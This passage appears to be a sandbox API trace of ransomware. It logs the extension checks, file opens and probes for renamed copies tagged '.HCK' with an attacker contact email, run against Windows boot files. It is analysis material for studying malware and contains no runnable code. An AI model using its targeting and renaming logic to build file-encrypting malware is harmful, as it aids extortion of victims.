4 [0152.558] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0152.558] lstrlenW (lpString=".xlsx") returned 5 [0152.558] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0152.558] lstrlenW (lpString=".ppt") returned 4 [0152.558] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0152.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.558] lstrlenW (lpString=".zip") returned 4 [0152.558] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0152.558] lstrlenW (lpString=".rar") returned 4 [0152.558] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0152.558] lstrlenW (lpString=".bz2") returned 4 [0152.558] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0152.558] lstrlenW (lpString=".7z") returned 3 [0152.558] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0152.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.559] lstrlenW (lpString=".dbf") returned 4 [0152.559] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0152.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.559] lstrlenW (lpString=".1cd") returned 4 [0152.559] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0152.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.559] lstrlenW (lpString=".jpg") returned 4 [0152.559] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0152.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.559] lstrlenW (lpString=".doc") returned 4 [0152.559] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0152.559] lstrlenW (lpString=".docx") returned 5 [0152.559] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0152.559] lstrlenW (lpString=".pdf") returned 4 [0152.559] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0152.559] lstrlenW (lpString=".xls") returned 4 [0152.559] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0152.559] lstrlenW (lpString=".xlsx") returned 5 [0152.559] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0152.559] lstrlenW (lpString=".ppt") returned 4 [0152.559] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0152.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.559] lstrlenW (lpString=".zip") returned 4 [0152.559] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0152.559] lstrlenW (lpString=".rar") returned 4 [0152.559] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0152.559] lstrlenW (lpString=".bz2") returned 4 [0152.559] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0152.559] lstrlenW (lpString=".7z") returned 3 [0152.559] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0152.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.559] lstrlenW (lpString=".dbf") returned 4 [0152.559] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0152.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.559] lstrlenW (lpString=".1cd") returned 4 [0152.559] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0152.559] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.559] lstrlenW (lpString=".jpg") returned 4 [0152.559] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0152.559] lstrlenW (lpString="BCD") returned 3 [0152.559] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.559] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.560] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.560] lstrlenW (lpString=".doc") returned 4 [0152.560] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".docx") returned 5 [0152.560] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0152.560] lstrlenW (lpString=".pdf") returned 4 [0152.560] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".xls") returned 4 [0152.560] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".xlsx") returned 5 [0152.560] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0152.560] lstrlenW (lpString=".ppt") returned 4 [0152.560] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.560] lstrlenW (lpString=".zip") returned 4 [0152.560] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".rar") returned 4 [0152.560] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".bz2") returned 4 [0152.560] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".7z") returned 3 [0152.560] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0152.560] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.560] lstrlenW (lpString=".dbf") returned 4 [0152.560] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.560] lstrlenW (lpString=".1cd") returned 4 [0152.560] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.560] lstrlenW (lpString=".jpg") returned 4 [0152.560] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.560] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.560] lstrlenW (lpString=".doc") returned 4 [0152.560] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".docx") returned 5 [0152.560] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0152.560] lstrlenW (lpString=".pdf") returned 4 [0152.560] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".xls") returned 4 [0152.560] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".xlsx") returned 5 [0152.560] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0152.560] lstrlenW (lpString=".ppt") returned 4 [0152.560] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.560] lstrlenW (lpString=".zip") returned 4 [0152.560] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".rar") returned 4 [0152.560] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".bz2") returned 4 [0152.560] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0152.560] lstrlenW (lpString=".7z") returned 3 [0152.560] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0152.560] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.560] lstrlenW (lpString=".dbf") returned 4 [0152.560] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0152.561] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.561] lstrlenW (lpString=".1cd") returned 4 [0152.561] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0152.561] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0152.561] lstrlenW (lpString=".jpg") returned 4 [0152.561] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0152.561] lstrcmpiW (lpString1=".LOG1", lpString2=".HCK") returned 1 [0152.561] lstrlenW (lpString="BCD.LOG1") returned 8 [0152.561] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0152.561] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=0) returned 1 [0152.561] CloseHandle (hObject=0x2ec) returned 1 [0152.561] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.561] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.561] lstrlenW (lpString=".doc") returned 4 [0152.561] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0152.561] lstrlenW (lpString=".docx") returned 5 [0152.561] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0152.561] lstrlenW (lpString=".pdf") returned 4 [0152.561] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0152.561] lstrlenW (lpString=".xls") returned 4 [0152.561] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0152.561] lstrlenW (lpString=".xlsx") returned 5 [0152.561] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0152.561] lstrlenW (lpString=".ppt") returned 4 [0152.561] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0152.561] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.561] lstrlenW (lpString=".zip") returned 4 [0152.561] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0152.561] lstrlenW (lpString=".rar") returned 4 [0152.561] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0152.561] lstrlenW (lpString=".bz2") returned 4 [0152.561] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0152.561] lstrlenW (lpString=".7z") returned 3 [0152.561] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0152.562] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.562] lstrlenW (lpString=".dbf") returned 4 [0152.562] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.563] lstrlenW (lpString=".1cd") returned 4 [0152.563] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.563] lstrlenW (lpString=".jpg") returned 4 [0152.563] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.563] lstrlenW (lpString=".doc") returned 4 [0152.563] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString=".docx") returned 5 [0152.563] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0152.563] lstrlenW (lpString=".pdf") returned 4 [0152.563] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString=".xls") returned 4 [0152.563] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString=".xlsx") returned 5 [0152.563] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0152.563] lstrlenW (lpString=".ppt") returned 4 [0152.563] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.563] lstrlenW (lpString=".zip") returned 4 [0152.563] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString=".rar") returned 4 [0152.563] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString=".bz2") returned 4 [0152.563] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString=".7z") returned 3 [0152.563] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0152.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.563] lstrlenW (lpString=".dbf") returned 4 [0152.563] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.563] lstrlenW (lpString=".1cd") returned 4 [0152.563] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0152.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0152.564] lstrlenW (lpString=".jpg") returned 4 [0152.564] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0152.564] lstrcmpiW (lpString1=".LOG2", lpString2=".HCK") returned 1 [0152.564] lstrlenW (lpString="BCD.LOG2") returned 8 [0152.564] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0152.564] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=0) returned 1 [0152.564] CloseHandle (hObject=0x2ec) returned 1 [0152.564] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.564] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.564] lstrlenW (lpString=".doc") returned 4 [0152.564] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0152.564] lstrlenW (lpString=".docx") returned 5 [0152.564] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0152.564] lstrlenW (lpString=".pdf") returned 4 [0152.564] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0152.564] lstrlenW (lpString=".xls") returned 4 [0152.564] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0152.564] lstrlenW (lpString=".xlsx") returned 5 [0152.564] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0152.564] lstrlenW (lpString=".ppt") returned 4 [0152.564] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0152.564] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.564] lstrlenW (lpString=".zip") returned 4 [0152.564] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0152.564] lstrlenW (lpString=".rar") returned 4 [0152.564] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0152.564] lstrlenW (lpString=".bz2") returned 4 [0152.564] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString=".7z") returned 3 [0152.565] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0152.565] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.565] lstrlenW (lpString=".dbf") returned 4 [0152.565] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.565] lstrlenW (lpString=".1cd") returned 4 [0152.565] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.565] lstrlenW (lpString=".jpg") returned 4 [0152.565] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.565] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.565] lstrlenW (lpString=".doc") returned 4 [0152.565] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString=".docx") returned 5 [0152.565] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0152.565] lstrlenW (lpString=".pdf") returned 4 [0152.565] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString=".xls") returned 4 [0152.565] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString=".xlsx") returned 5 [0152.565] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0152.565] lstrlenW (lpString=".ppt") returned 4 [0152.565] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.565] lstrlenW (lpString=".zip") returned 4 [0152.565] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString=".rar") returned 4 [0152.565] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString=".bz2") returned 4 [0152.565] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString=".7z") returned 3 [0152.565] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0152.565] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.565] lstrlenW (lpString=".dbf") returned 4 [0152.565] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.565] lstrlenW (lpString=".1cd") returned 4 [0152.565] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0152.565] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0152.565] lstrlenW (lpString=".jpg") returned 4 [0152.565] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0152.565] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0152.565] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0152.565] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0152.566] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=77664) returned 1 [0152.566] CloseHandle (hObject=0x2ec) returned 1 [0152.566] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0152.566] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0152.566] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.566] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.566] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.566] lstrlenW (lpString=".doc") returned 4 [0152.566] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0152.566] lstrlenW (lpString=".docx") returned 5 [0152.566] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0152.566] lstrlenW (lpString=".pdf") returned 4 [0152.566] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0152.566] lstrlenW (lpString=".xls") returned 4 [0152.566] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0152.566] lstrlenW (lpString=".xlsx") returned 5 [0152.566] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0152.566] lstrlenW (lpString=".ppt") returned 4 [0152.566] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0152.566] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.566] lstrlenW (lpString=".zip") returned 4 [0152.566] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0152.566] lstrlenW (lpString=".rar") returned 4 [0152.566] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0152.567] lstrlenW (lpString=".bz2") returned 4 [0152.567] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0152.567] lstrlenW (lpString=".7z") returned 3 [0152.567] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0152.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.567] lstrlenW (lpString=".dbf") returned 4 [0152.567] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0152.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.567] lstrlenW (lpString=".1cd") returned 4 [0152.567] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0152.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.567] lstrlenW (lpString=".jpg") returned 4 [0152.567] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0152.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.567] lstrlenW (lpString=".doc") returned 4 [0152.567] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0152.567] lstrlenW (lpString=".docx") returned 5 [0152.567] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0152.567] lstrlenW (lpString=".pdf") returned 4 [0152.567] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0152.567] lstrlenW (lpString=".xls") returned 4 [0152.567] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0152.567] lstrlenW (lpString=".xlsx") returned 5 [0152.567] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0152.567] lstrlenW (lpString=".ppt") returned 4 [0152.567] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0152.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.567] lstrlenW (lpString=".zip") returned 4 [0152.567] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0152.567] lstrlenW (lpString=".rar") returned 4 [0152.567] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0152.567] lstrlenW (lpString=".bz2") returned 4 [0152.567] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0152.567] lstrlenW (lpString=".7z") returned 3 [0152.567] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0152.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.567] lstrlenW (lpString=".dbf") returned 4 [0152.567] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0152.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.567] lstrlenW (lpString=".1cd") returned 4 [0152.567] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0152.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0152.567] lstrlenW (lpString=".jpg") returned 4 [0152.567] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0152.568] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0152.568] lstrlenW (lpString="bootspaces.dll") returned 14 [0152.568] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0152.582] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=95648) returned 1 [0152.582] CloseHandle (hObject=0x2ec) returned 1 [0152.582] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0152.582] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0152.583] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.583] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.583] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.583] lstrlenW (lpString=".doc") returned 4 [0152.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0152.583] lstrlenW (lpString=".docx") returned 5 [0152.583] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0152.583] lstrlenW (lpString=".pdf") returned 4 [0152.583] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0152.583] lstrlenW (lpString=".xls") returned 4 [0152.583] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0152.583] lstrlenW (lpString=".xlsx") returned 5 [0152.583] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0152.583] lstrlenW (lpString=".ppt") returned 4 [0152.583] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0152.583] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.583] lstrlenW (lpString=".zip") returned 4 [0152.583] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0152.583] lstrlenW (lpString=".rar") returned 4 [0152.583] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0152.583] lstrlenW (lpString=".bz2") returned 4 [0152.583] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0152.583] lstrlenW (lpString=".7z") returned 3 [0152.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0152.583] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.583] lstrlenW (lpString=".dbf") returned 4 [0152.583] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0152.583] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.583] lstrlenW (lpString=".1cd") returned 4 [0152.583] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0152.583] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.583] lstrlenW (lpString=".jpg") returned 4 [0152.583] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0152.583] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.583] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.583] lstrlenW (lpString=".doc") returned 4 [0152.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0152.583] lstrlenW (lpString=".docx") returned 5 [0152.583] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0152.583] lstrlenW (lpString=".pdf") returned 4 [0152.583] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0152.583] lstrlenW (lpString=".xls") returned 4 [0152.583] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0152.583] lstrlenW (lpString=".xlsx") returned 5 [0152.584] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0152.584] lstrlenW (lpString=".ppt") returned 4 [0152.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0152.584] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0152.584] lstrlenW (lpString=".zip") returned 4 [0152.584] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0152.584] lstrlenW (lpString=".rar") returned 4 [0152.584] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0152.584] lstrlenW (lpString=".bz2") returned 4 [0152.584] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0152.584] 